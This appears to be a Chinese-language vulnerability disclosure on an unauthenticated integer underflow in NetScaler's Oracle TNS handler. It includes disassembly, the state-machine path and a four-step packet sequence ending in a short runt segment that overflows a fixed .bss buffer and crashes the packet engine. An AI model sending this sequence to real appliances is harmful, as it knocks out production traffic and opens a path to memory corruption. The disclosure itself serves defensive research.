NetScaler 可以对 Oracle 数据库进行负载均衡。将一个 ORACLE 类型的 vserver 指向它,数据包引擎就会开始自己讲 Oracle TNS 协议,用内置的处理程序解析客户端流量。该处理程序为每个连接维护一个小型状态机,以便记住自己处于 TNS 记录中的哪个位置。
其中一个状态表示“我正处于一条记录的中间,还有更多字节即将到来。”当下一个分段到达时,处理程序读取其长度并减去 10,因为每个分段中有 10 个字节是头部。
从来没有人问过,如果分段短于 10 字节会发生什么。
发送一个这样的分段试试。一个 1 到 9 字节的残缺分段进入该状态,长度变为负数,而由于长度存放在一个无符号 16 位寄存器中,它并不会变成负数。它会回绕成一个巨大的值,最高可达约 64 KB。然后处理程序就愉快地将这么多数据从你的数据包中 memcpy 到 .bss 中一个固定的 0x748 字节暂存缓冲区里。该引擎不是 PIE,因此被践踏的地址永远不会移动。
你不需要登录。你甚至不需要 vserver 后面有数据库,因为设备自己就会应答 TNS 握手。整个攻击就是一次 TCP 会话。
两部分都进行了现场演示:
处理程序将其每连接状态存储在 [pcb+0x15a] 处。大多数状态都很无聊。这里重要的是 0x1F4,它表示“记录中间,等待继续”,而你只需使用普通的协议字节就能将连接引导到该状态:
record type 6 -> deep-parser state 6 -> byte 0x03 (TTIFUN)
-> state 0x126 -> TTC function byte 0x5e (OALL8)
-> jump table 0x23589e0, index 0x59 -> writer at bfe27b:
[pcb+0x15a] = 0x1F4
该连接上的下一个数据包随后在 0x1F4 上进行分发,经由 bd49a7 进入 bd5362,并落在这里:
bd5432: memset(0x30a7e60, 0, 0x748) ; scratch region (ends 0x30a85a8)
bd5445: mov rcx,[rbp-0x208] ; inbound packet buffer
bd544c: movzx eax,WORD [rcx+0xf2] ; u16 wire length of the segment
bd5453: add eax,0xfffffff6 ; len = len - 10 <== THE UNDERFLOW
bd5456: mov WORD [0x30a8476],ax ; wrapped length PERSISTED to .bss
bd545d: movzx edx,ax ; memcpy length (1..9 -> 0xfff7..0xffff)
bd5460: mov rsi,[rcx+0xe8]
bd5467: add rsi,0xa ; src = payload + 10
bd546b: mov edi,0x30a8075 ; dst = FIXED .bss global
bd5470: call 1b075e0 ; memcpy: up to ~64 KB OOB write
bd5475: mov BYTE [0x30a8478],1
像读一句话那样读它。取该段的长度。减去 10。存储结果,交给 memcpy,完成。整个过程没有任何地方会问“长度减 10”是否还是一个合理的数字。
我们统计了该函数中对该长度字段的每一处引用。共三十处。其中恰好只有一处是检查,位于 bd4083,而它所做的只是与零进行比较。零长度的段会被拒绝。其他所有长度,包括 1 到 9,都会直接进入减法运算。
代码显然相信,当状态 0x1F4 执行时,状态机已经交付了一条足够完整的记录。状态机从未做出过这样的承诺。一个作为独立数据包到达的残缺段满足所有分发条件,并且会短五个字节出现。
真正令人恼火的是,厂商知道这一类 bug。在同一个二进制文件的其他地方,sub_119c940 执行完全相同的“长度减常量”运算,并用 cmp eax,0x3f9 / ja 对其进行门控。安全模式就在那里。只是这个位置没有使用它。
目标地址 0x30a8075 位于一个 0x748 字节的暂存区域中,其前方只有 0x533 字节的合法空间。回绕后的拷贝会带着你的字节越过该边界,进入相邻的 DataStream 和协商全局变量。而回绕后的长度本身会被持久化到 0x30a8476,后续代码会从那里读回它并信任它。这是第二条破坏路径,与 memcpy 相隔一步。
设置只需一行配置,即标准的 DataStream 部署:
add lb vserver v ORACLE <ip> 1521
无需后端。该设备自行终止 TNS 并构建自己的 Accept 数据包,包括 "Netscaler" 厂商字符串等全部内容。
该对话分为四个步骤:
1. TNS Connect (version 0x13A)
<- the appliance answers Resend(11), then Accept(2), 32 bytes, v0x139
2. one complete, benign TTC round-trip
(some builds like to glue your runt onto the previous segment;
this resets the segmentation so the runt lands alone)
3. the arming segment: a TNS Data packet whose declared length is
actual + 32, carrying TTC bytes {03 5E} (TTIFUN / OALL8)
-> the state machine latches [pcb+0x15a] = 0x1F4, mid-record
4. the runt: 1-9 bytes, sent as its own TCP segment
-> passes the zero check, dispatches on 0x1F4
-> length - 10 wraps
-> memcpy(0x30a8075, payload+10, ~0xFFF6)
-> the packet engine dies
步骤 1 到 3 是纯对话。步骤 4 是五个字节。
这已在 14.1-73.30 设备上触发过两次,同一台机器、同一构建、两次独立运行。两次数据包引擎都发生了 SIGSEGV 并产生了匹配的核心转储,ns.log 在该时间窗口内记录了信号 11,数据平面停机约 60 秒进行热重启。
阴性对照在两次运行中均通过。运行完全相同的对话,但将最后一段改为连贯的 10 个字节,则什么也不会发生。引擎处理它并继续运行。短包长度是唯一重要的变量。